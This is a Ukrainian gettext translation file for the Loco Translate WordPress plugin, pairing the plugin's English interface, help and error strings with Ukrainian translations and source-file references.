#. Translators: Plural category used in some multi-plural languages
#: src/Locale.php:387
msgctxt "Plural category"
msgid "Two"
msgstr "Два"

#. Translators: Plural category for singular quantity
#: src/Locale.php:385
msgctxt "Plural category"
msgid "One"
msgstr "Один"

#: tpl/admin/config/version.php:28
msgid "You're running a development snapshot of Loco Translate"
msgstr "Ви використовуєте знімок розробника Loco Translate"

#. Author URI of the plugin
#: loco.php
msgid "https://localise.biz/wordpress/plugin"
msgstr "https://localise.biz/wordpress/plugin"

#. Description of the plugin
#: loco.php
msgid "Translate themes and plugins directly in WordPress"
msgstr "Переклад тем і плагінів безпосередньо у WordPress"

#: src/admin/bundle/LocaleController.php:155 tpl/admin/root.php:58
msgid "See all plugins"
msgstr "Переглянути всі плагіни"

#: tpl/admin/root.php:54
msgid "These plugins have recently loaded translation files into the admin area"
msgstr "Файли перекладів цих плагінів недавно завантажили в панель адміністратора"

#: tpl/admin/root.php:51
msgid "Running plugins:"
msgstr "Активні плагіни:"

#: src/admin/bundle/LocaleController.php:150 tpl/admin/root.php:43
msgid "See all themes"
msgstr "Переглянути всі теми"

#: tpl/admin/root.php:39
msgid "Active theme:"
msgstr "Активна тема:"

#: tpl/admin/root.php:30
msgid "Translations have been recently modified in the following bundles"
msgstr "Переклади були нещодавно змінені в наступних пакетах"

#: tpl/admin/root.php:27
msgid "Recently updated:"
msgstr "Нещодавно оновлені:"

#: src/admin/RootController.php:84
msgid "Welcome to Loco Translate"
msgstr "Ласкаво просимо в Loco Translate"

#: tpl/admin/list/inc-table.php:20
msgid "Sets"
msgstr "Набори"

#: tpl/admin/bundle/locale.php:32 tpl/admin/list/inc-table.php:11
msgid "Bundle name"
msgstr "Назва пакету"

#: tpl/admin/init/init-pot.php:42 tpl/admin/init/init-prompt.php:31
msgid "About templates"
msgstr "Про шаблони"

#: tpl/admin/init/init-prompt.php:23
msgid "This bundle doesn't define a translations template file"
msgstr "Для цього пакета не визначено файл шаблону перекладу"

#: tpl/admin/init/init-prompt.php:19
msgid "This bundle's template file doesn't exist yet. We recommend you create it before adding languages"
msgstr "Файл шаблону цього пакету ще не існує. Ми рекомендуємо створити його перед додаванням мов"

#: tpl/admin/init/init-copy.php:15 tpl/admin/init/init-prompt.php:15
msgid "Template missing"
msgstr "Шаблон відсутній"

#: tpl/admin/init/init-pot.php:30
msgid "Strings will be extracted to:"
msgstr "Рядки будуть вилучені до:"

#. Translators: (1) Number of files excluded (2) the maximum size of file that
#. was included
#: tpl/admin/init/init-pot.php:24
msgid "Excludes %1$s file over %2$s"
msgid_plural "Excludes %1$s files over %2$s"
msgstr[0] "Виключає один %1$s файл більше %2$s"
msgstr[1] "Виключає %1$s файли більше %2$s"
msgstr[2] "Виключає %1$s файлів більше %2$s"

#. Translators: Where %s is the size of a file
#: tpl/admin/init/init-pot.php:16
msgid "%s on disk"
msgstr "%s на диску"

#: tpl/admin/init/init-pot.php:12
msgid "Source files to scan:"
msgstr "Вихідні файли для сканування:"

#: tpl/admin/init/init-po.php:169
msgid "Start translating"
msgstr "Почати переклад"

#: tpl/admin/init/init-po.php:159
msgid "Use this file as template when running Sync"
msgstr "Використовувати \"%s\" в якості шаблону при синхронізації"

#: tpl/admin/file/conf.php:38 tpl/admin/init/init-po.php:139
msgid "Just copy English source strings"
msgstr "Скопіювати тільки вихідні рядки англійською"

#: tpl/admin/file/conf.php:32 tpl/admin/init/init-po.php:133
msgid "Copy target translations from \"%s\""
msgstr "Копіювати цільові переклади з \"%s\""

#: tpl/admin/file/conf.php:12 tpl/admin/init/init-po.php:122
msgid "Template options"
msgstr "Параметри шаблону"

#: tpl/admin/init/init-po.php:77 tpl/admin/init/upload.php:15
msgid "Choose a location"
msgstr "Виберіть розміщення"

#: tpl/admin/init/init-po.php:63
msgid "Custom language"
msgstr "Користувацька мова"

#: tpl/admin/init/init-po.php:51
msgid "Available languages"
msgstr "Доступні мови"

#: src/admin/bundle/LocaleController.php:124
#: src/admin/list/LocalesController.php:35 tpl/admin/init/init-po.php:45
msgid "Installed languages"
msgstr "Встановлені мови"

#: tpl/admin/init/init-po.php:44
msgid "No language selected"
msgstr "Не вибрано мову"

#: tpl/admin/init/init-po.php:39
msgid "WordPress language"
msgstr "Мова WordPress"

#: tpl/admin/init/init-po.php:32
msgid "Choose a language"
msgstr "Оберіть мову"

#: src/admin/init/InitPoController.php:389
msgid "Create template instead"
msgstr "Створити замість цього шаблон"

#: src/admin/init/InitPoController.php:392
msgid "You're creating translations directly from source code"
msgstr "Ви створюєте переклад безпосередньо з вихідного коду"

#: tpl/admin/help/tab-support.php:6
msgid "Getting help with Loco Translate"
msgstr "Отримати допомогу з Loco Translate"

#: tpl/admin/help/tab-config-apis.php:9 tpl/admin/help/tab-config.php:9
msgid "Full documentation"
msgstr "Повна документація"

#: tpl/admin/help/tab-config.php:6
msgid "User options apply to your WordPress login, across all sites"
msgstr "Параметри застосовуються до вашого логіну WordPress на всіх сайтах"

#: tpl/admin/help/tab-config.php:5
msgid "Site options apply to all users of Loco Translate across the current site"
msgstr "Параметри сайту застосовуються до всіх користувачів Loco Translate на поточному сайті"

#: tpl/admin/help/side-bar.php:12
msgid "Support forum"
msgstr "Форум підтримки"

#: tpl/admin/file/view-mo.php:14
msgid "File is in binary MO format"
msgstr "Файл знаходиться в двійковому форматі MO"

#. Translators: Where %s is the name (or number) of an operating system user
#: tpl/admin/file/info.php:96
msgid "To create new files here you'll have to connect to the remote file system, or make the directory writeable by %s"
msgstr "Для створення нових файлів необхідно підключитися до віддаленої файлової системи або зробити каталог доступним для запису %s"

#: tpl/admin/file/info.php:92
msgid "This directory can't be written to directly by the web server"
msgstr "Ця директорія не може бути записана безпосередньо веб-сервером"

#: tpl/admin/file/info.php:81
msgid "Note that the file may not be deletable due to additional ownership permissions"
msgstr "Зверніть увагу, що файл не може бути видалений через додаткові дозволи власника"

#. Translators: Where %s is the name (or number) of an operating system user
#: tpl/admin/file/info.php:73
msgid "The containing directory is writeable by %s, so you can add new files in the same location"
msgstr "Зазначена директорія доступна для запису %s, тому ви можете додавати нові файли в тому ж місці"

#: tpl/admin/file/info.php:69
msgid "Directory is writeable"
msgstr "Директорія доступна для запису"

#. Translators: "either" meaning that the file itself can't exist without a
#. containing directory
#: tpl/admin/file/info.php:59
msgid "The containing directory for this file doesn't exist either"
msgstr "Директорія, що містить цей файл, не існує"

#: tpl/admin/file/info.php:55
msgid "Directory doesn't exist"
msgstr "Директорія не існує"

#. Translators: Where %s is the name (or number) of an operating system user
#: tpl/admin/file/info.php:43
msgid "To make changes you'll have to connect to the remote file system, or make the file writeable by %s"
msgstr "Для внесення змін необхідно підключитися до віддаленої файлової системи або зробити файл доступним для запису %s"

#: tpl/admin/file/info.php:39
msgid "This file can't be updated directly by the web server"
msgstr "Цей файл не може бути оновлений безпосередньо веб-сервером"

#: tpl/admin/file/info.php:27
msgid "You can update these translations directly from the editor to the file system"
msgstr "Ви можете оновити ці переклади безпосередньо з редактора в файлову систему"

#. Translators: Where %s is the type of file, e.g. "po"
#: tpl/admin/file/info.php:24
msgid "%s file is writeable"
msgstr "Файл %s доступний для запису"

#: tpl/admin/file/info.php:14
msgid "File doesn't exist"
msgstr "Файл не існує"

#: tpl/admin/file/info-pot.php:27
msgid "Last extracted"
msgstr "Останнє вилучення"

#: tpl/admin/file/info-po.php:88
msgid "These translations are not linked to a POT file. Sync operations will extract strings directly from source code."
msgstr "Ці переклади не пов'язані з файлом POT. Синхронізація вилучить рядки безпосередньо з вихідного коду."

#: tpl/admin/file/info-po.php:84
msgid "Missing template"
msgstr "Відсутній шаблон"

#. Translators: Where %s is the name of a template file
#: tpl/admin/file/info-po.php:75
msgid "PO file has different source strings to \"%s\". Try running Sync before making any changes."
msgstr "Файл PO має різні вихідні рядки для \"%s\". Спробуйте, запустити синхронізацію перед внесенням змін."

#: tpl/admin/file/info-po.php:71
msgid "Out of sync with template"
msgstr "Не синхронізовано з шаблоном"

#. Translators: Where %s is the name of a template file
#: tpl/admin/file/info-po.php:64
msgid "PO file has the same source strings as \"%s\""
msgstr "Файл PO має ті ж вихідні рядки, що й \"%s\""

#: tpl/admin/file/info-po.php:60
msgid "In sync with template"
msgstr "Синхронізовано з шаблоном"

#: tpl/admin/file/info-po.php:50
msgid "We can't find the binary MO file that belongs with these translations"
msgstr "Ми не можемо знайти двійковий файл MO, який належить цим перекладам"

#: tpl/admin/file/info-po.php:47
msgid "Binary file missing"
msgstr "Двійковий файл відсутній"

#: tpl/admin/file/info-other.php:11
msgid "Unexpected file type"
msgstr "Неочікуваний тип файлу"

#: tpl/admin/file/info-mo.php:41
msgid "We can't find the original PO file from which this was compiled"
msgstr "Ми не можемо знайти оригінальний PO файл, з якого це було скомпільовано"

#: tpl/admin/file/info-mo.php:38
msgid "PO file missing"
msgstr "Файл PO відсутній"

#: tpl/admin/file/info-mo.php:27
msgid "Compiled translations"
msgstr "Компіляції перекладів"

#: tpl/admin/file/info-mo.php:24 tpl/admin/file/info-po.php:30
msgid "Last translation"
msgstr "Останній переклад"

#: tpl/admin/file/info-mo.php:21 tpl/admin/file/info-po.php:27
#: tpl/admin/file/info-pot.php:24
msgid "File modified"
msgstr "Файл змінено"

#: tpl/admin/file/info-mo.php:15
msgid "compiled"
msgstr "скомпільовано"

#: tpl/admin/file/delete.php:30
msgid "Delete Permanently"
msgstr "Видалити назавжди"

#: tpl/admin/file/delete.php:16
msgid "Are you sure you want to <strong>permanently</strong> delete the following file?"
msgstr "Ви впевнені що хочете <strong>назавжди</strong> видалити цей файл?"

#: tpl/admin/file/delete.php:12
msgid "Confirm delete"
msgstr "Підтвердіть видалення"

#. Translators: %s is a URL. Keep the <a> tag intact
#: tpl/admin/errors/no-tokenizer.php:25
msgid "You can still translate any bundle that has a <a href=\"%s\" target=\"_blank\">template</a>"
msgstr "Ви можете перекладати будь-який пакет, який має <a href=\"%s\" target=\"_blank\">шаблон</a>"

#. Translators: change "en" in the URL to your language if it's available at
#. https://www.php.net/docs.php
#: tpl/admin/errors/no-tokenizer.php:17
msgid "Loco requires the <a href=\"http://php.net/manual/en/book.tokenizer.php\" target=\"_blank\">Tokenizer extension</a> to scan PHP source code for translatable strings"
msgstr "Loco потребує розширення <a href=\"http://php.net/manual/en/book.tokenizer.php\" target=\"_blank\">Tokenizer</a> для сканування вихідного коду PHP на наявність рядків, що перекладаються"

#: tpl/admin/errors/no-tokenizer.php:11
msgid "About the Tokenizer"
msgstr "Про Tokenizer"

#: tpl/admin/errors/file-missing.php:14
msgid "Either this file is missing or the server doesn't have permission to access it"
msgstr "Цей файл відсутній або сервер не має дозволу на доступ до нього"

#: tpl/admin/errors/file-missing.php:11
msgid "File not found"
msgstr "Файл не знайдено"

#: tpl/admin/errors/file-isdir.php:14
msgid "This page was expecting a file, but the path is actually a directory"
msgstr "Сторінка очікувала отримати файл, але шлях насправді є директорія"

#: tpl/admin/errors/file-isdir.php:11
msgid "File is a directory"
msgstr "Файл насправді директорія"

#: tpl/admin/config/version.php:38
msgid "You're running the latest version of Loco Translate"
msgstr "Ви використовуєте останню версію Loco Translate"

#: tpl/admin/config/version.php:17
msgid "Upgrade to %s"
msgstr "Оновити до %s"

#: tpl/admin/config/version.php:11 tpl/admin/config/version.php:25
#: tpl/admin/config/version.php:35
msgid "Version %s"
msgstr "Версія %s"

#: tpl/admin/config/settings.php:216
msgid "Allow full access to these roles"
msgstr "Дозволити повний доступ для ролей"

#: tpl/admin/config/settings.php:210
msgid "Grant access to roles"
msgstr "Надати доступ для ролей"

#: tpl/admin/config/settings.php:75 tpl/admin/config/settings.php:182
msgid "Not recommended"
msgstr "Не рекомендовано"

#: tpl/admin/config/settings.php:75
msgid "Add UTF-8 byte order mark"
msgstr "Додати позначку порядку байта UTF-8"

#: tpl/admin/config/settings.php:52 tpl/admin/config/settings.php:58
msgid "Saving PO/POT files"
msgstr "Збереження файлів PO/POT"

#: tpl/admin/config/settings.php:37
msgid "Scan PHP files with extensions:"
msgstr "Сканувати PHP файли з розширеннями:"

#: tpl/admin/config/settings.php:31
msgid "Skip PHP files larger than:"
msgstr "Пропустити PHP файли розміром більше:"

#: tpl/admin/config/settings.php:21 tpl/admin/config/settings.php:27
msgid "Extracting strings"
msgstr "Вилучення рядків"

#: tpl/admin/config/prefs.php:16 tpl/admin/config/prefs.php:20
msgid "Translator credit"
msgstr "Автор перекладу"

#. translators: text field placeholder
#: tpl/admin/common/inc-table-filter.php:6
msgid "Filter..."
msgstr "Фільтр..."

#: tpl/admin/common/inc-fsconn.php:60
msgid "Connect"
msgstr "З’єднати"

#. Translators: When a file or folder cannot be modified due to filesystem
#. permissions
#: tpl/admin/common/inc-fsconn.php:50 tpl/admin/file/info.php:36
#: tpl/admin/file/info.php:89
msgid "Write protected"
msgstr "Захищено від запису"

#: tpl/admin/bundle/view.php:55
msgid "This bundle isn't automatically compatible and requires configuring before you can use all the functions of Loco Translate"
msgstr "Цей пакет не має автоматичної настройки і потрібна ручна настройка для використання всіх функцій Loco Translate"

#: tpl/admin/bundle/view.php:52
msgid "unconfigured"
msgstr "не налаштовано"

#: tpl/admin/bundle/view.php:35 tpl/admin/bundle/view.php:57
msgid "Click the <a href=\"%s\">setup</a> tab to complete the bundle configuration"
msgstr "Натисніть вкладку <a href=\"%s\">налаштування</a> для завершення налаштування пакета"

#: tpl/admin/bundle/view.php:32
msgid "This bundle isn't fully configured, so we don't know what the following files are for"
msgstr "Цей пакет налаштований не повністю, тому ми не знаємо, для чого призначені наступні файли"

#: tpl/admin/bundle/view.php:29
msgid "Additional files found"
msgstr "Знайдено додаткові файли"

#: tpl/admin/bundle/setup.php:39
msgid "If you have trouble translating this bundle, consider asking the author for help"
msgstr "Якщо у вас виникли проблеми з перекладом цього пакету, зверніться за допомогою до автора"

#: tpl/admin/bundle/setup.php:36
msgid "Author details"
msgstr "Деталі про автора"

#: tpl/admin/bundle/setup/saved.php:19
msgid "Edit config"
msgstr "Редагувати конфіг"

#: tpl/admin/bundle/setup/saved.php:14
msgid "This bundle's configuration is saved in the WordPress database"
msgstr "Налаштування цього пакету збережено в базі даних WordPress"

#: tpl/admin/bundle/setup/saved.php:11
msgid "Bundle configuration saved"
msgstr "Налаштування пакету збережено"

#: tpl/admin/bundle/setup/partial.php:14
msgid "This bundle's configuration has been automatically detected, but isn't fully complete"
msgstr "Налаштування цього пакету було виявлена автоматично, але не повністю завершено"

#: tpl/admin/bundle/setup/partial.php:11
msgid "Partially configured bundle"
msgstr "Частково налаштований пакет"

#: tpl/admin/bundle/setup/none.php:15
msgid "It needs configuring before you can do any translations"
msgstr "Необхідно налаштувати перед тим, як виконувати переклад"

#: tpl/admin/bundle/setup/none.php:14
msgid "This bundle isn't set up for translation in a way we understand"
msgstr "Цей пакет незрозуміло налаштований для перекладу"

#: tpl/admin/bundle/setup/none.php:11
msgid "Unconfigured bundle"
msgstr "Не налаштований пакет"

#: tpl/admin/bundle/setup/meta.php:14
msgid "This bundle's configuration has been automatically detected and seems to be fully compatible"
msgstr "Налаштування цього пакету були автоматично виявлені і, здається, повністю сумісні"

#: tpl/admin/bundle/setup/inc-nav.php:25
msgid "Get help with this"
msgstr "Отримати допомогу"

#: tpl/admin/bundle/setup/inc-nav.php:22
msgid "Import config from XML"
msgstr "Імпортувати конфіг з XML"

#: tpl/admin/bundle/setup/core.php:13
msgid "This bundle's configuration is built into Loco Translate"
msgstr "Налаштування цього пакету вбудовано в Loco Translate"

#: tpl/admin/bundle/setup/core.php:10 tpl/admin/bundle/setup/meta.php:11
msgid "Bundle auto-configured"
msgstr "Пакет автоматично налаштовано"

#: tpl/admin/bundle/setup/conf.php:55
msgid "Load config"
msgstr "Завантажити конфіг"

#: tpl/admin/bundle/setup/conf.php:49
msgid "If you've been given a configuration file by a developer, paste the XML code here"
msgstr "Якщо ви отримали файл налаштування від розробника, вставте код XML сюди"

#: tpl/admin/bundle/setup/conf.php:46
msgid "XML setup"
msgstr "Налаштування XML"

#: tpl/admin/bundle/setup/conf.php:56
msgid "Cancel"
msgstr "Скасувати"

#: tpl/admin/bundle/setup/author.php:15 tpl/admin/bundle/setup/core.php:14
#: tpl/admin/bundle/setup/meta.php:15
msgid "You can make changes in the Advanced tab if you need to override the current settings"
msgstr "Ви можете внести зміни на вкладці Додатково, якщо потрібно змінити поточні налаштування"

#: tpl/admin/bundle/setup/author.php:14
msgid "This bundle's configuration is provided by the author"
msgstr "Налаштування цього пакету надані автором"

#: tpl/admin/bundle/setup/author.php:11
msgid "Official configuration"
msgstr "Офіційна конфігурація"

#: tpl/admin/bundle/inc-po-table.php:124
msgid "No translations found for \"%s\""
msgstr "Не знайдено перекладів для \"%s\""

#: tpl/admin/bundle/inc-po-table.php:57 tpl/admin/bundle/locale.php:69
msgid "Info"
msgstr "Інформація"

#: tpl/admin/bundle/inc-po-table.php:60 tpl/admin/bundle/locale.php:72
msgid "Copy"
msgstr "Копіювати"

#: tpl/admin/bundle/inc-po-table.php:51 tpl/admin/bundle/locale.php:63
msgid "Edit"
msgstr "Редагувати"

#: tpl/admin/bundle/inc-po-table.php:31 tpl/admin/bundle/locale.php:49
msgid "Folder"
msgstr "Папка"

#: tpl/admin/bundle/inc-po-table.php:28 tpl/admin/bundle/locale.php:46
#: tpl/admin/list/inc-table.php:17 tpl/admin/list/locales.php:19
msgid "Last modified"
msgstr "Остання зміна"

#: tpl/admin/bundle/inc-po-table.php:22 tpl/admin/bundle/locale.php:39
msgid "Pending"
msgstr "В очікуванні"

#: tpl/admin/bundle/inc-po-table.php:16 tpl/admin/bundle/locale.php:36
#: tpl/admin/file/info-po.php:33
msgid "Translation progress"
msgstr "Прогрес перекладу"

#: tpl/admin/bundle/inc-po-table.php:13
msgid "Language"
msgstr "Мова"

#: tpl/admin/bundle/conf.php:159 tpl/admin/bundle/setup/saved.php:18
msgid "Reset config"
msgstr "Скинути конфіг"

#: tpl/admin/bundle/conf.php:146
msgid "XML"
msgstr "XML"

#: tpl/admin/bundle/conf.php:144
msgid "Parent theme"
msgstr "Батьківська тема"

#: tpl/admin/bundle/conf.php:142
msgid "Add set"
msgstr "Додати набір"

#: tpl/admin/bundle/conf.php:141
msgid "Save config"
msgstr "Зберегти конфіг"

#. Translators: Help tip for "Blocked paths" field in advanced bundle config
#: tpl/admin/bundle/conf.php:134
msgid "Folders within the bundle that will never be searched for files"
msgstr "Папки пакета, в яких не буде здійснюватись пошук файлів"

#: tpl/admin/bundle/conf.php:128
msgid "Blocked paths"
msgstr "Заблоковані шляхи"

#. Translators: Help tip for "Source file paths" field in advanced bundle
#. config
#: tpl/admin/bundle/conf.php:113
msgid "Files and folders within the bundle that contain localized PHP code"
msgstr "Файли та папки пакета, що містять локалізований код PHP"

#: tpl/admin/bundle/conf.php:100
msgid "Source file paths"
msgstr "Шляхи вихідного файлу"

#. Translators: Help tip for "Domain path" field in advanced bundle config
#. Translators: Help tip for "Source file paths" field in advanced bundle
#. config
#. Translators: Help tip for "Blocked paths" field in advanced bundle config
#: tpl/admin/bundle/conf.php:94 tpl/admin/bundle/conf.php:113
#: tpl/admin/bundle/conf.php:134
msgid "no wildcards"
msgstr "без шаблонів підстановки"

#. Translators: Help tip for "Domain path" field in advanced bundle config
#: tpl/admin/bundle/conf.php:94
msgid "Folders within the bundle that contain author-supplied translations"
msgstr "Папки в пакеті, які містять переклади автора"

#: tpl/admin/bundle/conf.php:89 tpl/admin/bundle/conf.php:108
msgid "Exclude"
msgstr "Виключити"

#: tpl/admin/bundle/conf.php:85 tpl/admin/bundle/conf.php:104
msgid "Include"
msgstr "Включити"

#: tpl/admin/bundle/conf.php:81
msgid "Domain path"
msgstr "Шлях домену"

#. Translators: Help tip for "Template file" field in advanced bundle config
#: tpl/admin/bundle/conf.php:75
msgid "Relative path from bundle root to the official POT file"
msgstr "Відносний шлях від кореневої папки пакета до офіційного POT файлу"

#: tpl/admin/bundle/conf.php:71 tpl/admin/common/inc-fsconn.php:12
msgid "Locked"
msgstr "Заблоковано"

#. Translators: Help tip for "File prefix" field in advanced bundle config
#: tpl/admin/bundle/conf.php:59
msgid "Usually the same as the text domain, but don't leave blank unless you mean to"
msgstr "Зазвичай такий же як і текстовий домен, але не залишайте його порожнім, якщо вам це дійсно не потрібно"

#: tpl/admin/bundle/conf.php:53
msgid "File prefix"
msgstr "Префікс файлу"

#. Translators: Help tip for "Text domain" field in advanced bundle config
#: tpl/admin/bundle/conf.php:47
msgid "The namespace into which WordPress will load translated strings"
msgstr "Простір імен, в який WordPress буде завантажувати перекладені рядки"

#: tpl/admin/bundle/conf.php:41 tpl/admin/list/inc-table.php:14
msgid "Text domain"
msgstr "Текстовий домен"

#. Translators: Help tip for "Project name" field in advanced bundle config
#: tpl/admin/bundle/conf.php:35
msgid "Descriptive name for this set of translatable strings"
msgstr "Змістовне ім'я для набору рядків, що перекладаються"

#: tpl/admin/bundle/conf.php:29
msgid "Project name"
msgstr "Назва проекту"

#: tpl/admin/bundle/alias.php:17
msgid "Go to WordPress Core"
msgstr "Перейти до ядра WordPress"

#: tpl/admin/bundle/alias.php:11
msgid "\"Hello Dolly\" is part of the WordPress core"
msgstr "\"Hello Dolly\" є частиною ядра WordPress"

#. translators: %s refers to the handle of a plugin, e.g.
#. "loco-translate/loco.php"
#: src/package/Plugin.php:225
msgid "Plugin not found: %s"
msgstr "Плагін не знайдено: %s"

#: src/package/Header.php:93
msgid "Visit official site"
msgstr "Відвідати офіційний сайт"

#: src/admin/bundle/LocaleController.php:144 src/package/Core.php:85
msgid "WordPress Core"
msgstr "Ядро WordPress"

#: src/package/Core.php:29
msgid "https://wordpress.org/"
msgstr "https://uk.wordpress.org/"

#: src/package/Core.php:28
msgid "The WordPress Team"
msgstr "Команда WordPress"

#: src/package/Core.php:26
msgid "WordPress core"
msgstr "Ядро WordPress"

#. translators: (1) is the name of a PHP script, (2) is a line number in the
#. file
#: src/output/Buffer.php:130
msgid "Loco was interrupted by output from %1$s:%2$u"
msgstr "Loco перервав виведення інформації з %1$s:%2$u"

#. translators: %s: Human-readable time difference.
#: src/mvc/FileParams.php:152
msgid "%s ago"
msgstr "%s тому"

#. translators: relative time when something happened in the last 30 seconds
#: src/mvc/FileParams.php:149
msgid "Just now"
msgstr "Прямо зараз"

#: src/mvc/FileParams.php:145
msgid "Y/m/d"
msgstr "Y/m/d"

#: src/mvc/Controller.php:49
msgid "You do not have sufficient permissions to access this page."
msgstr "У Вас недостатньо повноважень для доступу до цієї сторінки."

#: src/mvc/AjaxRouter.php:203
msgid "Download controller returned empty output"
msgstr "Контролер завантаження повернув порожній результат"

#: src/mvc/AjaxRouter.php:198
msgid "Download action not found"
msgstr "Дію завантаження не знайдено"

#: src/mvc/AjaxRouter.php:175
msgid "Ajax controller returned empty JSON"
msgstr "Ajax контролер повернув порожній JSON"

#. translators: Fatal error where %s represents an unexpected value
#: src/mvc/AjaxRouter.php:170
msgid "Ajax route not found: \"%s\""
msgstr "Ajax маршрут не знайдено: \"%s\""

#: src/mvc/AdminRouter.php:243
msgid "Page not found"
msgstr "Сторінку не знайдено"

#. translators: Page title for core WordPress translations
#: src/mvc/AdminRouter.php:56
msgid "Core translations &lsaquo; Loco"
msgstr "Переклади ядра &lsaquo; Loco"

#: src/mvc/AdminRouter.php:54
msgid "WordPress"
msgstr "WordPress"

#. translators: Page title for plugin translations
#: src/mvc/AdminRouter.php:51
msgid "Plugin translations &lsaquo; Loco"
msgstr "Переклади плагінів &lsaquo; Loco"

#. translators: Page title for theme translations
#: src/mvc/AdminRouter.php:46
msgid "Theme translations &lsaquo; Loco"
msgstr "Переклади тем &lsaquo; Loco"

#: src/mvc/AdminRouter.php:42
msgid "Home"
msgstr "Головна"

#: src/mvc/AdminController.php:114
msgid "Loco Translate is powered by"
msgstr "Loco Translate за підтримки"

#: src/mvc/AdminController.php:51
msgid "Help & support"
msgstr "Допомога та підтримка"

#. translators: List heading showing preview of translated text for each item
#: src/js/Strings.php:183
msgctxt "Editor"
msgid "Translation"
msgstr "Переклад"

#. translators: Label for the translation editing window when no translation
#. selected
#: src/js/Strings.php:180
msgctxt "Editor"
msgid "Translation not loaded"
msgstr "Переклад не завантажено"

#. translators: Label for the context window when no translation selected
#: src/js/Strings.php:177
msgctxt "Editor"
msgid "Context not loaded"
msgstr "Контекст не завантажено"

#. translators: Label for the source text window when no translation selected
#: src/js/Strings.php:174
msgctxt "Editor"
msgid "Source text not loaded"
msgstr "Текст джерела не завантажено"

#. translators: Label for the plural form of the original English text
#: src/js/Strings.php:93 src/Locale.php:375 pub/js/min/editor.js:291
msgctxt "Editor"
msgid "Plural"
msgstr "Множина"

#. translators: Label for the singular form of the original English text
#: src/js/Strings.php:96 src/Locale.php:374 pub/js/min/editor.js:291
msgctxt "Editor"
msgid "Single"
msgstr "Однина"

#. translators: Label for the window pane for entering translator comments
#: src/js/Strings.php:159
msgctxt "Editor"
msgid "Comments"
msgstr "Коментарі"

#. translators: Label for the window pane holding message context
#: src/js/Strings.php:156
msgctxt "Editor"
msgid "Context"
msgstr "Контекст"

#. translators: Where %s is the name of the language, e.g. "French translation"
#. xgettext: javascript-format
#: src/js/Strings.php:153
msgctxt "Editor"
msgid "%s translation"
msgstr "%s переклад"

#. translators: Label for the window pane holding the original English text
#. translators: List heading showing preview of English text for each item
#: src/js/Strings.php:149 tpl/admin/file/info-pot.php:30
msgctxt "Editor"
msgid "Source text"
msgstr "Вихідний текст"

#. translators: Generic error when external process broke an Ajax request
#: src/js/Strings.php:136
msgid "Server returned invalid data"
msgstr "Сервер повернув невірні дані"

#: src/js/Strings.php:139
msgid "Check console output for debugging information"
msgstr "Перевірте виведення консолі для налагодження інформації"

#: src/js/Strings.php:142
msgid "Provide the following text when reporting a problem"
msgstr "Введіть наступний текст при відправці повідомлення про проблему"

#. translators: When text filtering reduces to an empty view
#: src/js/Strings.php:14
msgid "Nothing matches the text filter"
msgstr "Нічого не відповідає текстовому фільтру"

#: src/hooks/AdminHooks.php:129 tpl/ajax/modal-apis-batch.php:37
msgid "Translate"
msgstr "Перекласти"

#. translators: Error thrown when attempting to parse a file that is not a
#. supported translation file format
#: src/gettext/Data.php:25
msgid "%s is not a Gettext file"
msgstr "%s несумісний з форматом Gettext"

#. Translators: Refers to translation files in an alternative location that
#. isn't Author, System or Custom.
#: src/fs/LocaleDirectory.php:72
msgctxt "File location"
msgid "Other"
msgstr "Інший"

#. Translators: Refers to translation files in Loco's custom/protected
#. directory
#: src/fs/LocaleDirectory.php:69
msgctxt "File location"
msgid "Custom"
msgstr "Користувацький"

#. Translators: Refers to system-installed translation files - i.e. those under
#. WP_LANG_DIR
#: src/fs/LocaleDirectory.php:66
msgctxt "File location"
msgid "System"
msgstr "Системний"

#. Translators: Refers to bundled plugin or theme translation files - i.e.
#. those supplied by the author
#: src/fs/LocaleDirectory.php:63
msgctxt "File location"
msgid "Author"
msgstr "Автор"

#: src/fs/FileWriter.php:308
msgid "File modification is disallowed by your WordPress config"
msgstr "Зміна файлу заборонена вашими налаштуваннями WordPress"

#: src/fs/FileWriter.php:297
msgid "Failed to build directory path"
msgstr "Не вдалося створити шлях до директорії"

#: src/fs/FileWriter.php:289
msgid "Failed to create directory"
msgstr "Не вдалося створити директорію"

#: src/fs/FileWriter.php:253
msgid "Failed to save file"
msgstr "Не вдалося зберегти файл"

#: src/fs/FileWriter.php:243
msgid "Permission denied to update file"
msgstr "Оновлення файлу заборонено"

#. translators: %s refers to a directory name which was expected to be an
#. ordinary file
#: src/fs/FileWriter.php:218
msgid "\"%s\" is a directory, not a file"
msgstr "\"%s\" це директорія, а не файл"

#. translators: %s refers to a file name, for which a delete operation failed.
#: src/fs/FileWriter.php:201
msgid "Failed to delete %s"
msgstr "Не вдалося видалити %s"

#. translators: (1) Source file name (2) Target file name
#: src/fs/FileWriter.php:162
msgid "Failed to copy %1$s to %2$s"
msgstr "Не вдалося скопіювати %1$s в %2$s"

#: src/fs/FileWriter.php:151
msgid "Refusing to copy over an existing file"
msgstr "Відмова від копіювання існуючого файлу"

#. translators: %s refers to a file name, for which the chmod operation failed.
#: src/fs/FileWriter.php:133
msgid "Failed to chmod %s"
msgstr "Не вдалося змінити права в %s"

#: src/fs/FileWriter.php:52
msgid "Failed to connect to remote server"
msgstr "Не вдалося підключитися до віддаленого сервера"

#: src/error/XmlParseException.php:8
msgid "XML parse error"
msgstr "Помилка розбирання XML"

#: src/error/Warning.php:19 src/js/Strings.php:127
msgid "Warning"
msgstr "Увага"

#: src/error/Success.php:19 src/js/Strings.php:133
msgid "OK"
msgstr "OK"

#: src/error/Notice.php:20 src/js/Strings.php:130
#: tpl/admin/common/inc-fsconn.php:37
msgid "Notice"
msgstr "Примітка"

#: src/error/Exception.php:163 src/js/Strings.php:124
msgid "Error"
msgstr "Помилка"

#: src/data/Permissions.php:155
msgctxt "User role"
msgid "Translator"
msgstr "Перекладач"

#: src/config/XMLModel.php:54
msgid "XML supplied is empty"
msgstr "Наданий XML порожній"

#: src/config/FormModel.php:147
msgid "Text Domain cannot be empty"
msgstr "Текстовий домен не може бути порожнім"

#. translators: used when username of web server process is unknown
#: src/compat/PosixExtension.php:115
msgid "the web server"
msgstr "веб-сервер"

#. translators: %s refers to the name of a new file to be created, but which
#. already existed
#: src/api/WordPressFileSystem.php:87
msgid "%s already exists in this folder"
msgstr "%s вже існує в цій папці"

#: src/ajax/XgettextController.php:67
msgid "Template file created"
msgstr "Файл шаблону створено"

#: src/gettext/Compiler.php:94
msgid "PO file saved, but MO file compilation failed"
msgstr "Файл PO збережено, але не вдалося скомпілювати файл MO"

#: src/gettext/Compiler.php:283
msgid "PO file saved and MO file compiled"
msgstr "Файл PO збережено, файл MO скомпільовано"

